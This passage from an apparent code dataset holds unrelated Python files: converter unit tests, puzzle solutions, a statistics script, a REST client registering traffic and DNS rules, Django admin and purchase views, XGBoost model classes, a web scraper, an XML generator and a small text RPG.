fixed_width_newline=None\n )\n self.fixed_width_data = self.fixed_width.generate_fixed_width_data()\n self.fixed_width.write_fixed_width_file(self.fixed_width_data)\n\n def test_invalid_sum_of_columns_raises_exception(self):\n \"\"\" Ensure that exception is raised from delimited_writer.py\n when a row of fixed length data does not sum to the sum of \n the offset values from spec.json\n \"\"\"\n\n # Generate delimited data and file using good spec\n self.delimited = DelimitedFileWriter(self.encoding_props)\n with self.assertRaises(Exception):\n self.delimited_data = self.delimited.parse_fixed_width_file()\n\n\nclass TestNewLineSeparators(unittest.TestCase):\n \"\"\" These tests ensure that the desired newline characters are correctly written to file.\n This is important as newlines vary between environments ('\\n' or '\\r\\n', possibly '\\r').\n\n Newlines must be handled carefully, for example:\n Replacing the '\\n' in '\\r\\n' with '\\r\\n', yielding '\\r\\r\\n', is highly undesirble.\n\n Mock fixed width data is written to file with fixed_width_newline character.\n This file is parsed and a delimited file created with the desired delimited_newline character.\n\n Both of these files are then read with newline=\"\" such that no newline replacements occur.\n Then each newline character read is asserted equal to the desired newline character written.\n\n N.B. The following table summarises how the 'newline' kwarg in the built-in 'open()' function\n handles line separators when reading and writing files.\n\n As per the Python documentation:\n https://docs.python.org/3/library/functions.html#open-newline-parameter\n \n ---------------------------------------------------------------------------------- \n __________|__Newline:______________Replacement:___________________________________\n Read 'r': | None (default) '\\r', '\\n', '\\r\\n' --> replaced with '\\n', \n | & universal newlines enabled.\n |\n | \"\" No replacements. Universal newline enabled.\n |\n |'\\r' or '\\n' or '\\r\\n' No replacements. Line split on chosen separator.\n |\n Write 'w': | None (default) '\\n' --> replaced with os.linesep\n |\n | \"\" or '\\n' No replacements\n |\n | '\\r' or '\\r\\n' '\\n'--> replaced with '\\r' or '\\r\\n' \n \"\"\"\n\n def setUp(self):\n self.fixed_width_filename = \"fixed_width_cp1252.txt\"\n self.delimited_filename = \"delimited_utf8.txt\"\n self.spec_filename = \"spec.json\"\n\n def test_newlines(self):\n \"\"\" Try all combinations of allowable newlines. Testing both the mock fixed width\n and delimited files.\n \"\"\"\n newlines = [None, \"\", \"\\r\\n\", \"\\r\", \"\\n\"]\n for fixed_width_newline in newlines:\n for delimited_newline in newlines:\n self.helper_test_newlines(fixed_width_newline, delimited_newline)\n\n def test_illegal_delimited_newline(self):\n \"\"\" Ensure that a newline character not in {None, \"\", \"\\r\\n\", \"\\r\" ,\"\\n\"}\n raises an exception.\n \"\"\"\n fixed_width_newline = None\n delimited_newline = \"\\t\"\n with self.assertRaises(Exception):\n self.helper_test_newlines(fixed_width_newline, delimited_newline)\n\n def helper_test_newlines(self, fixed_width_newline, delimited_newline):\n \"\"\" Write fixed width file with fixed_width_newline newline character.\n Read fixed width file and assert that the newline character is as\n intended.\n\n Write delimited file with delimited_newline newline character.\n Read delimited file and assert that the newline character is as\n intended.\n \"\"\"\n\n # Set encoding properties\n encoding_props = EncodingProperties(\n self.spec_filename,\n self.fixed_width_filename,\n self.delimited_filename,\n delimited_newline,\n )\n\n # Generate mock fixed width data and file\n fixed_width = MockFixedWidthFileWriter(encoding_props, fixed_width_newline)\n fixed_width_data = fixed_width.generate_fixed_width_data()\n fixed_width.write_fixed_width_file(fixed_width_data)\n\n # Generate delimited data and file\n delimited = DelimitedFileWriter(encoding_props)\n delimited_data = delimited.parse_fixed_width_file()\n delimited.generate_delimited_file(delimited_data)\n\n # newline is \"\", i.e. do not replace newline character, read as is\n with open(self.fixed_width_filename, \"r\", encoding=\"cp1252\", newline=\"\") as f:\n for line in f:\n if fixed_width_newline == None:\n fixed_width_newline = os.linesep\n elif fixed_width_newline in {\"\", \"\\n\"}:\n fixed_width_newline == \"\\n\"\n linesep_length = len(fixed_width_newline)\n\n linesep_from_file = repr(line[len(line) - linesep_length :])\n self.assertEqual(linesep_from_file, repr(fixed_width_newline))\n\n # newline is \"\", i.e. do not replace newline character, read as is\n with open(self.delimited_filename, \"r\", encoding=\"utf-8\", newline=\"\") as f:\n for line in f:\n if delimited_newline in {\"\", None}:\n delimited_newline = os.linesep\n linesep_length = len(delimited_newline)\n\n linesep_from_file = repr(line[len(line) - linesep_length :])\n self.assertEqual(linesep_from_file, repr(delimited_newline))\n\n\nclass WrongFixedWidthFileEncoding(unittest.TestCase):\n \"\"\" This test asserts that an exception is raised when parsing a\n fixed width file that is not of the specified encoding type.\n\n Tested by writing a delimited UTF-8 file and feeding this into\n the delimited writer as input\n \"\"\"\n\n def setUp(self):\n spec_filename = \"spec.json\"\n fixed_width_filename = \"fixed_width_cp1252.txt\"\n delimited_filename = \"delimited_utf8.txt\"\n\n # Set encoding properties\n self.encoding_props = EncodingProperties(\n spec_filename,\n fixed_width_filename,\n delimited_filename,\n delimited_newline=None,\n )\n\n # Generate mock fixed width data and file\n self.fixed_width = MockFixedWidthFileWriter(\n self.encoding_props, fixed_width_newline=None\n )\n self.fixed_width_data = self.fixed_width.generate_fixed_width_data()\n self.fixed_width.write_fixed_width_file(self.fixed_width_data)\n\n # Generate delimited data and file\n self.delimited = DelimitedFileWriter(self.encoding_props)\n self.delimited_data = self.delimited.parse_fixed_width_file()\n self.delimited.generate_delimited_file(self.delimited_data)\n\n def test_wrong_fixed_encoding_raises_exception(self):\n \"\"\" Use delimited_utf8.txt as input to delimited writer.\n Assert exception is raised.\n \"\"\"\n with self.assertRaises(Exception):\n spec_filename = \"spec.json\"\n fixed_width_filename = \"delimited_utf8.txt\"\n delimited_filename = \"delimited_utf8.txt\"\n\n self.encoding_props = EncodingProperties(\n spec_filename,\n fixed_width_filename,\n delimited_filename,\n delimited_newline=None,\n )\n self.delimited = DelimitedFileWriter(self.encoding_props)\n self.delimited_data = self.delimited.parse_fixed_width_file()\n\n\nif __name__ == \"__main__\":\n\n unittest.main()\n","sub_path":"test_delimited_writer.py","file_name":"test_delimited_writer.py","file_ext":"py","file_size_in_byte":11023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567643453","text":"#==================================================================================#\n# USER NAME: Thach Le \n# FILE NAME: 055-defaultdict-tutorial.py\n# FILE PATH: /E/thach-working/hackerrank/python-skill/055-defaultdict-tutorial.py\n#==================================================================================#\n# import library\nfrom collections import defaultdict\n\nif __name__ == \"__main__\":\n\t# get input from FILE\n\tfile = open('055-defaultdict-tutorial-tc', 'r').read().replace('\\r\\n', '\\n').split('\\n')\n\t\n\t# get n m value \n\tn, m = list(map(int, file[0].split()))\n\t# get list-n and list-m \n\tlst_n = list(file[i] for i in range(1, n+1))\n\tlst_m = list(file[i] for i in range(n+1, m+n+1))\n\t####################### #\n\tprint('n: {} - lst_n: {}'.format(n, lst_n))\n\tprint('m: {} - lst_m: {}'.format(m, lst_m))\n\t####################### #\n\t\n\tdedic_n = defaultdict(list)\n\tfor i in range(0, len(lst_n)):\n\t\tdedic_n[lst_n[i]].append(i+1)\n\n\t####################### #\n\tprint('dedict_n: {}'.format(dedic_n))\n\t####################### #\n\n\t# print out result\n\tfor i in lst_m:\n\t\tif i in dedic_n.keys():\n\t\t\tprint(*dedic_n[i])\n\t\telse: \n\t\t\tprint('-1')\t\t\t\n\n\n","sub_path":"python-skill/055-defaultdict-tutorial.py","file_name":"055-defaultdict-tutorial.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"131489221","text":"#!/user/bin/python\n\naccumulator = 0\nvisited = []\noriginalCommands = []\ncommands = []\nchangedIndexes = []\nindex = 0\n\ndef acc(value, index):\n global accumulator\n accumulator += value\n return index+1\n\ndef jmp(value, index):\n return index+value\n\ndef nop(value, index):\n return index+1\n\ndef callFunc(tuple, index):\n command = tuple[0]\n value = tuple[1]\n if command == \"acc\":\n return acc(value, index)\n elif command == \"jmp\":\n return jmp(value, index)\n elif command == \"nop\":\n return nop(value, index)\n else:\n raise RuntimeError\n\ndef changeNextInstruction():\n global commands\n for (index, tuple) in enumerate(commands):\n if tuple[0] == 'nop' and index not in changedIndexes:\n changedIndexes.append(index)\n commands[index] = (\"jmp\", tuple[1])\n break\n elif tuple[0] == 'jmp' and index not in changedIndexes:\n changedIndexes.append(index)\n commands[index] = (\"nop\", tuple[1])\n break\n\ndef reset():\n global accumulator\n global visited\n global index\n global commands\n visited = []\n accumulator = 0\n commands = readCommands()\n index = 0\n\ndef readCommands():\n commands = []\n with open(\"../input.txt\", 'r') as input:\n for line in input.readlines():\n commandAndValue = line.split(\" \")\n command = commandAndValue[0].strip()\n value = int(commandAndValue[1].strip())\n commands.append((command, value))\n return commands\n\ncommands = readCommands()\nwhile index < len(commands):\n next = commands[index]\n nextIndex = callFunc(next, index)\n visited.append(index)\n if nextIndex in visited:\n reset()\n changeNextInstruction()\n else:\n index = nextIndex\n\nprint(accumulator)","sub_path":"day8/part2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"434072567","text":"#!/usr/bin/env python3\n#\n# Copyright 2017 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Small Kolmogorov-Smirnov test for fitting validity.\"\"\"\n\nimport sys\nimport scipy.stats\n# pylint: disable=import-error\nfrom simulation.distribution import EmpiricalDistribution\n\nALPHA = 0.05\nSIZE = 10000\n\n\n# pylint: disable=invalid-name\ndef main():\n \"\"\"Repeat some fitting and print timings.\"\"\"\n dataset = EmpiricalDistribution(scipy.stats.norm.rvs(size=SIZE))\n\n D, pvalue = scipy.stats.kstest(dataset.rvs, 'norm', N=SIZE)\n print('D = %.4f, p-value = %.4f' % (D, pvalue))\n if pvalue < ALPHA:\n print('Reject H₀ at α = %.2f: Distributions are different!' % ALPHA)\n\n D, pvalue = scipy.stats.ks_2samp(\n dataset.rvs(size=SIZE), scipy.stats.norm.rvs(size=SIZE))\n print('D = %.4f, p-value = %.4f' % (D, pvalue))\n if pvalue < ALPHA:\n print('Reject H₀ at α = %.2f: Distributions are different!' % ALPHA)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"tests/ks.py","file_name":"ks.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"49952390","text":"\r\nimport json, configparser, sys\r\nimport requests,random\r\nfrom urllib3.util.retry import Retry\r\nfrom requests.adapters import HTTPAdapter\r\n\r\n\r\n#####################################################################################\r\n###### SET_GLOBAL_PARAMETRES() initializes all global variables #######\r\n#####################################################################################\r\nglobal PARAMS\r\nPARAMS=dict()\r\n\r\n\"\"\"\r\ndef load_app_info(configfilelocation=\"./APP_INFO_DATA.ini\"):\r\n\tglobal PARAMS\r\n\ttry:\r\n\t\tapplication_information=configparser.ConfigParser()\r\n\t\tapplication_information.read(\"./APP_INFO_DATA.ini\")\r\n\t\tPARAMS['APP_NAME'] = application_information['APP_INFO']['APP_NAME']\r\n\t\tPARAMS['APP_SOFT_VERSION'] = application_information['APP_INFO']['APP_SOFT_VERSION']\r\n\t\tPARAMS['APP_DESCRIPTION'] = application_information['APP_INFO']['APP_DESCRIPTION']\r\n\t\tPARAMS['APP_PROVIDER'] = application_information['APP_INFO']['APP_PROVIDER']\r\n\t\tPARAMS['VENDOR_ID'] = application_information['APP_INFO']['VENDOR_ID']\r\n\t\tPARAMS['MEMORY'] = application_information['APP_INFO']['MEMORY']\r\n\t\tPARAMS['STORAGE'] = application_information['APP_INFO']['STORAGE']\r\n\t\tPARAMS['LATENCY'] = application_information['APP_INFO']['LATENCY']\r\n\t\tPARAMS['BANDWIDTH'] = application_information['APP_INFO']['BANDWIDTH']\r\n\texcept Exception as e:\r\n\t\tprint(\"Could NOT open the APP_INFO_DATA File. Details: \" +str(e))\r\n\r\n\"\"\"\r\n\r\ndef data_to_send_post_traffic_register():\r\n\tglobal sys\r\n\tglobal PARAMS\r\n\tDATA_TO_SEND={\r\n\t\"appName\": str(sys.argv[7]),\r\n\t\"appDId\" :str(sys.argv[1]),\r\n\t\"appInstanceId\" :str(sys.argv[2]),\r\n\t\"trafficRuleId\": \"TrafficRule\"+ str(random.randint(1,1000)),\r\n \t\"filterType\": \"FLOW\",\r\n \t\"priority\": 1,\r\n \t\"trafficFilter\": \r\n \t\t[\r\n\t\t\t{\r\n\t \t\t\t\"srcAddress\": [\"192.168.1.1\"],\r\n\t \t\t\t\"dstAddress\": [\"192.168.1.1\"],\r\n\t \t\t\t\"srcPort\": [\"8080\"],\r\n\t \t\t\t\"dstPort\": [\"8080\"],\r\n\t \t\t\t\"protocol\": [\"?\"],\r\n\t \t\t\t\"token\": [\"?\"],\r\n\t \t\t\t\"srcTunnelAddress\": [\"?\"],\r\n\t \t\t\t\"tgtTunnelAddress\": [\"?\"],\r\n\t \t\t\t\"srcTunnelPort\": [\"?\"],\r\n\t \t\t\t\"dstTunnelPort\": [\"?\"],\r\n\t \t\t\t\"qCI\": 1,\r\n\t \t\t\t\"dSCP\": 0,\r\n\t \t\t\t\"tC\": 1\r\n\t\t\t}\r\n \t\t],\r\n \t\"action\": \"DROP\",\r\n \t\"dstInterface\": \r\n \t\t{\r\n\t\t\t\"interfaceType\": \"TUNNEL\",\r\n\t\t\t\"tunnelInfo\": \r\n\t\t\t\t{\r\n\t \t\t\t\t\"tunnelType\": \"GTP_U\",\r\n\t \t\t\t\t\"tunnelDstAddress\": \"?\",\r\n\t \t\t\t\t\"tunnelSrcAddress\": \"?\"\r\n\t\t\t\t},\r\n\t\t\t\"srcMacAddress\": \"02-00-00-00-00-00\",\r\n\t\t\t\"dstMacAddress\": \"02-00-00-00-00-00\",\r\n\t\t\t\"dstIpAddress\": \"192.0.2.0\"\r\n \t\t},\r\n \t\"state\": \"ACTIVE\"\r\n\t}\r\n\treturn DATA_TO_SEND\r\n\r\n\r\ndef POST_TRAFFIC():\r\n\tglobal sys\r\n\tDATA_TO_SEND= data_to_send_post_traffic_register()\r\n\tDATA_TO_SEND_JSON= json.dumps(DATA_TO_SEND)\r\n\r\n\theader = {\"Content-type\": \"application/json\"}\r\n\tr = requests.post(str(sys.argv[3])+\":\"+str(sys.argv[4]) +\"/\" + str(sys.argv[5]), json=DATA_TO_SEND_JSON, headers=header)\r\n\tprint(r.text)\r\n\r\n\r\ndef data_to_send_post_dns_register():\r\n\tglobal sys\r\n\tDATA_TO_SEND={\"ipAddressType\": \"IP_V6\", \"appName\": str(sys.argv[7]), \"domainName\": \"www.example.com\", \"state\": \"ACTIVE\", \"dnsRuleId\": \"dnsRule\"+str(random.randint(1,10000)), \"ttl\": \"?\", \"ipAddress\": \"192.0.2.0\", \"appDId\": str(sys.argv[1])}\r\n\treturn DATA_TO_SEND\r\n\r\n\r\ndef POST_DNS():\r\n\tglobal sys\r\n\tDATA_TO_SEND= data_to_send_post_dns_register()\r\n\tDATA_TO_SEND_JSON= json.dumps(DATA_TO_SEND)\r\n\r\n\theader = {\"Content-type\": \"application/json\"}\r\n\tr = requests.post(str(sys.argv[3])+\":\"+str(sys.argv[4]) +\"/\" + str(sys.argv[6]), json=DATA_TO_SEND_JSON, headers=header)\r\n\tprint(r.text)\r\n\r\n\r\n\r\n\r\n\r\nif __name__== \"__main__\":\r\n\t#load_app_info()\r\n\tPOST_TRAFFIC()\r\n\tPOST_DNS()\r\n\t#PUT()\r\n\t#DELETE()\r\n","sub_path":"register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"206925289","text":"from django.contrib.admin.sites import AdminSite\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.views.decorators.cache import never_cache\nfrom django.core.urlresolvers import reverse, NoReverseMatch\nfrom django.template.response import TemplateResponse\nfrom django.utils.text import capfirst\nfrom django.utils import six\nimport collections\n\n# ----------------------------------------------------------------------\n# Our entire app is simply a tweaked subclass of admin\n\nclass Hobbsomatic(AdminSite):\n # use the base login form, that doesn't do an administrator check\n login_form = AuthenticationForm\n \n def has_permission(self,request):\n return request.user.is_active\n pass\n\n # going to unreasonable lengths to control the order of\n # models in the admin display\n def __init__(self, name='admin', app_name='admin'):\n super(Hobbsomatic,self).__init__(name,app_name)\n self._registry = collections.OrderedDict()\n\n # override the default implementation in one little annoying detail:\n # don't sort the $*@#$ model names!\n @never_cache\n def index(self, request, extra_context=None):\n \"\"\"\n Displays the main admin index page, which lists all of the installed\n apps that have been registered in this site.\n \"\"\"\n app_dict = {}\n user = request.user\n for model, model_admin in self._registry.items():\n app_label = model._meta.app_label\n has_module_perms = user.has_module_perms(app_label)\n\n if has_module_perms:\n perms = model_admin.get_model_perms(request)\n\n # Check whether user has any perm for this module.\n # If so, add the module to the model_list.\n if True in perms.values():\n info = (app_label, model._meta.module_name)\n model_dict = {\n 'name': capfirst(model._meta.verbose_name_plural),\n 'perms': perms,\n }\n if perms.get('change', False):\n try:\n model_dict['admin_url'] = reverse('admin:%s_%s_changelist' % info, current_app=self.name)\n except NoReverseMatch:\n pass\n if perms.get('add', False):\n try:\n model_dict['add_url'] = reverse('admin:%s_%s_add' % info, current_app=self.name)\n except NoReverseMatch:\n pass\n if app_label in app_dict:\n app_dict[app_label]['models'].append(model_dict)\n else:\n app_dict[app_label] = {\n 'name': app_label.title(),\n 'app_url': reverse('admin:app_list', kwargs={'app_label': app_label}, current_app=self.name),\n 'has_module_perms': has_module_perms,\n 'models': [model_dict],\n }\n\n # Sort the apps alphabetically.\n app_list = list(six.itervalues(app_dict))\n app_list.sort(key=lambda x: x['name'])\n\n # # Sort the models alphabetically within each app.\n # for app in app_list:\n # app['models'].sort(key=lambda x: x['name'])\n\n context = {\n 'title': 'Site administration',\n 'app_list': app_list,\n }\n context.update(extra_context or {})\n return TemplateResponse(request, self.index_template or\n 'admin/index.html', context,\n current_app=self.name)\n\n\nportal = Hobbsomatic(name='portal')","sub_path":"records/site.py","file_name":"site.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"488267176","text":"from sklearn import linear_model\r\nfrom xgboost import XGBClassifier\r\nimport numpy as np\r\n\r\n\r\nclass TwoStepRegression():\r\n def __init__(self, xgb_param, num_cls=8):\r\n self.xgb_param = xgb_param\r\n self.xgb_model = XGBClassifier(**xgb_param)\r\n self.lr = linear_model.LinearRegression()\r\n self.num_cls = num_cls\r\n\r\n def level_one_predict(self, x):\r\n # predict clas probabilites\r\n extra_features = self.xgb_model.predict_proba(x)\r\n\r\n # more models can be added and essembled below:\r\n\r\n # add class probabilities to new x\r\n x_extra = x.copy()\r\n for k in range(self.num_cls):\r\n x_extra[f\"pr_{k}\"] = extra_features.T[k]\r\n return x_extra\r\n\r\n def fit(self, x, y):\r\n self.xgb_model.fit(x, y)\r\n x_extra = self.level_one_predict(x)\r\n self.lr.fit(x_extra, y)\r\n\r\n def predict(self, x):\r\n x_extra = self.level_one_predict(x)\r\n y_pred = self.lr.predict(x_extra)\r\n return y_pred\r\n\r\n\r\nclass OrdinalXGBAll():\r\n def __init__(self, param_list, individual=True, num_cls=7):\r\n self.param_list = param_list\r\n self.models = {}\r\n self.y_pred = []\r\n if individual:\r\n for index, param in enumerate(param_list):\r\n self.models[f\"{index+1}\"] = XGBClassifier(**param)\r\n else:\r\n for index in range(num_cls):\r\n self.models[f\"{index+1}\"] = XGBClassifier(**param_list)\r\n\r\n def fit(self, x, y):\r\n for index, model in enumerate(self.models.values()):\r\n y_ = y > index\r\n model.fit(x, y_)\r\n\r\n def predict(self, x):\r\n self.y_pred = np.ones(x.shape[0])\r\n for model in self.models.values():\r\n self.y_pred += model.predict(x)\r\n return self.y_pred\r\n\r\n\r\nclass OrdinalXGBSeperate():\r\n def __init__(self, xgb_param, cls=0):\r\n self.xgb_param = xgb_param\r\n self.xgb_model = XGBClassifier(**xgb_param)\r\n self.cls = cls\r\n\r\n def fit(self, x, y):\r\n y_ = np.array(y > self.cls).astype(int)\r\n self.xgb_model.fit(x, y_)\r\n\r\n def predict(self, x):\r\n y_pred = self.xgb_model.predict(x)\r\n return y_pred\r\n\r\n def __call__(self, x):\r\n self.predict(x)\r\n","sub_path":"ml_models.py","file_name":"ml_models.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"156741962","text":"from PyQt4.QtGui import QSpinBox, QValidator\n\n\nclass ListSpinBox(QSpinBox):\n\n def __init__(self, items):\n QSpinBox.__init__(self)\n self.setMinimumWidth(75)\n\n self.__string_converter = str\n self.__items = items\n\n self.setRange(0, len(items) - 1)\n self.setValue(len(items) - 1)\n\n\n\n def convertToString(self, item):\n return self.__string_converter(item)\n\n def setStringConverter(self, string_converter):\n self.__string_converter = string_converter\n\n\n def textFromValue(self, value):\n if len(self.__items) == 0:\n return \"\"\n\n if value < 0 or value >= len(self.__items):\n value = len(self.__items) - 1\n\n return self.convertToString(self.__items[value])\n\n\n def valueFromText(self, qstring):\n text = str(qstring).lower()\n\n for index in range(len(self.__items)):\n value = self.convertToString(self.__items[index]).lower()\n if text == value:\n return index\n\n return len(self.__items) - 1\n\n\n def validate(self, qstring, pos):\n text = str(qstring).lower()\n\n for index in range(len(self.__items)):\n value = self.convertToString(self.__items[index]).lower()\n\n if value == text:\n return QValidator.Acceptable, len(value)\n\n if value[0:pos] == text:\n return QValidator.Intermediate, pos\n\n return QValidator.Invalid, pos\n\n\n def fixup(self, input):\n text = str(input).lower()\n\n for index in range(len(self.__items)):\n value = self.convertToString(self.__items[index])\n\n if value.lower().startswith(text.lower()):\n input.clear()\n input.push_back(value)\n\n","sub_path":"devel/python/python/ert_gui/widgets/list_spin_box.py","file_name":"list_spin_box.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"625225331","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\nleagues = {'Premier League':'http://www.betexplorer.com/soccer/england/premier-league/stats/',\r\n 'Championship':'http://www.betexplorer.com/soccer/england/championship/stats/'}\r\n\r\ndef createLeagueStats():\r\n\r\n leagueStats = {}\r\n \r\n for key in leagues:\r\n\r\n stats = []\r\n eachLeague = []\r\n \r\n r2 = requests.get(leagues[key])\r\n soup2 = BeautifulSoup(r2.content, \"html.parser\")\r\n table = soup2.find_all(\"table\",{\"class\":\"table-main leaguestats\"})\r\n\r\n for element in table:\r\n stats.append(element.find_all(\"tr\")) \r\n\r\n x = str((list(stats[0][9]))[2])[4:-5]\r\n y = str((list(stats[0][10]))[2])[4:-5]\r\n z = str((list(stats[0][13]))[2])[4:-7]\r\n eachLeague.append(x)\r\n eachLeague.append(y)\r\n eachLeague.append(z)\r\n\r\n leagueStats[key] = eachLeague\r\n \r\n return leagueStats\r\n\r\nglobal newLeagueStats\r\nnewLeagueStats = createLeagueStats()\r\n","sub_path":"leaguestats.py","file_name":"leaguestats.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"174552120","text":"from lxml import etree\nfrom lxml.html.clean import clean_html\nimport urllib2\n\nBASE_URL = 'http://www.stejka.com'\n\n\ndef process_text(text_lst):\n text_lst = map(lambda x: ' '.join(x.split()),\n text_lst) # remove two+ tabulation chars\n text_lst = filter(lambda x: len(x) > 2,\n text_lst) # get words with two and more chars\n return text_lst\n\n\ndef process_images(images):\n return map(lambda img: img if img.startswith(\"http\") else BASE_URL + img,\n images)\n\n\ndef process_urls(urls):\n urls = list(set(urls))\n urls = filter(lambda x: len(x) > 3 and x[0] == \"/\", urls)\n urls = map(lambda x: BASE_URL + x, urls)\n return urls\n\n\ndef parse_html(url):\n response = urllib2.urlopen(url)\n page = response.read()\n page = clean_html(page)\n\n tree = etree.HTML(page.decode('utf-8'))\n\n text = tree.xpath('//text()')\n text = process_text(text)\n\n images = tree.xpath('//img/@src')\n images = process_images(images)\n\n urls = tree.xpath('//a/@href')\n urls = process_urls(urls)\n\n return urls, text, images\n\n\ndef generate_xml_page(page_url, urls, text, images):\n page_elem = etree.Element(\"page\", url=page_url)\n\n for elem in text:\n fragment = etree.Element(\"fragment\", type=\"text\")\n fragment.text = elem\n page_elem.append(fragment)\n\n for url in urls:\n fragment = etree.Element(\"fragment\", type=\"a\")\n fragment.text = url\n page_elem.append(fragment)\n\n for img in images:\n fragment = etree.Element(\"fragment\", type=\"image\")\n fragment.text = img\n page_elem.append(fragment)\n\n return page_elem\n\n\ndef generate_xml(filename):\n root = etree.Element(\"data\")\n\n urls, _, _ = parse_html(BASE_URL)\n urls.insert(0, BASE_URL)\n urls = urls[:20]\n\n for url in urls:\n urls, text, images = parse_html(url)\n page_elem = generate_xml_page(url, urls, text, images)\n root.append(page_elem)\n\n et = etree.ElementTree(root)\n et.write(filename, encoding=\"utf-8\", xml_declaration=True, pretty_print=True)\n\n\ngenerate_xml(\"pages.xml\")","sub_path":"lab1/gen_xml.py","file_name":"gen_xml.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"35638785","text":"class Character() :\n def __init__(self):\n self.name = \"\"\n self.health = 0\n self.power =0\n\n def alive(self):\n return self.health > 0\n \n def attack(self,enemy):\n if enemy.name == \"Zombie\":\n print(\"{} does 0 damage to {}.\".format(self.name, enemy.name))\n else :\n enemy.health -= self.power\n print(\"{} does {} damage to {}.\".format(self.name, self.power, enemy.name))\n\n if enemy.health <= 0 :\n if enemy.name == \"Goblin\":\n #print(\"{} is dead.\".format(enemy.name))\n print(\"The goblin is dead.\")\n elif enemy.name == \"Hero\":\n print(\"You are dead.\")\n\n def print_status(self):\n print(\"{} has {} health and {} power\".format(self.name, self.health, self.power))\n\nclass Hero(Character):\n def __init__(self):\n self.name = \"Hero\"\n self.health = 10\n self.power = 5\n\n \nclass Goblin(Character):\n def __init__(self):\n self.name = \"Goblin\"\n self.health = 6\n self.power = 2\n\nclass Zombie(Character):\n def __init__(self):\n self.name = \"Zombie\"\n self.health = 10\n self.power = 2\n\nhero = Hero()\n#goblin = Goblin()\n#zombie = Zombie()\nenemy_input = 0\n\nwhile enemy_input !=\"2\" and enemy_input !=\"1\":\n\n\tprint(\"What do you want to attack?\")\n\tprint(\"1. Goblin\")\n\tprint(\"2. Zombie\")\n\tenemy_input = input(\"> \")\n\nif enemy_input == \"1\":\n\tenemy = Goblin()\n\tenemyname = \"Goblin\"\nelif enemy_input == \"2\":\n\tenemy = Zombie()\n\tenemyname = \"Zombie\"\n\nwhile enemy.alive() and hero.alive():\n\thero.print_status()\n\tenemy.print_status()\n\tprint()\n\tprint(\"What do you want to do?\")\n\tprint(\"1. fight {}\".format(enemyname))\n\tprint(\"2. do nothing\")\n\tprint(\"3. flee\")\n\tprint(\"> \", end=' ')\n\traw_input = input()\n\tif raw_input == \"1\":\n\t\thero.attack(enemy)\n\telif raw_input == \"2\":\n\t\tpass\n\telif raw_input == \"3\":\n\t\tprint(\"Goodbye.\")\n\t\tbreak\n\telse:\n\t\tprint(\"Invalid input {}\".format(raw_input))\n\n\tif enemy.alive():\n # Goblin attacks hero\n\t\tenemy.attack(hero)\n\n\n\n\n\n\n\n \n\n\n","sub_path":"python/rpg_zombie.py","file_name":"rpg_zombie.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"401637648","text":"from django.shortcuts import render_to_response, Http404, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Sum\n# Create your views here.\ndef get_model_fields(model):\n return model._meta.fields\n\n@login_required\ndef purchase(request):\n from product.models import purchase_record\n '''\n if request.user.is_authenticated():\n user_id = request.user.id\n superuser=request.user.is_superuser\n try:\n company = company_admin.objects.get(principal=user_id)\n company_user = company_user.objects.filter(company_admin_id=company.id)\n principal = True\n except Exception as e:\n print(e)\n raise Http404(\"Page does not exist\")\n '''\n #models_fields = get_model_fields(purchase_record)\n #print(models_fields)\n purchase_record = purchase_record.objects.all()\n\n return render_to_response('purchase.html', locals())\n\n@login_required\ndef purchase_add(request):\n from product.forms import PurchaseForm\n\n if request.user.is_authenticated():\n user_id = request.user.id\n\n if request.method == 'POST':\n form = PurchaseForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/purchase/')\n else:\n form = PurchaseForm(initial={'purchaser':user_id, 'adduser':user_id})\n return render_to_response('purchase_add.html', locals())\n\n@login_required\ndef purchase_edit(request):\n from product.forms import PurchaseForm\n from product.models import purchase_record\n\n if request.user.is_authenticated():\n user_id = request.user.id\n\n if request.method == 'POST':\n id = request.GET.get('id', '')\n if id != '':\n purchase = purchase_record.objects.get(id = id)\n form = PurchaseForm(request.POST, instance=purchase)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/purchase/detail/?id='+str(id))\n else:\n id = request.GET.get('id', '')\n if id != '':\n purchase = purchase_record.objects.get(id = id)\n form = PurchaseForm(instance=purchase)\n return render_to_response('purchase_edit.html', locals())\n\n@login_required\ndef purchase_del(request):\n from product.models import purchase_record\n\n id = request.GET.get('id', '')\n if id != '':\n purchase = purchase_record.objects.get(id = id)\n purchase.delete()\n 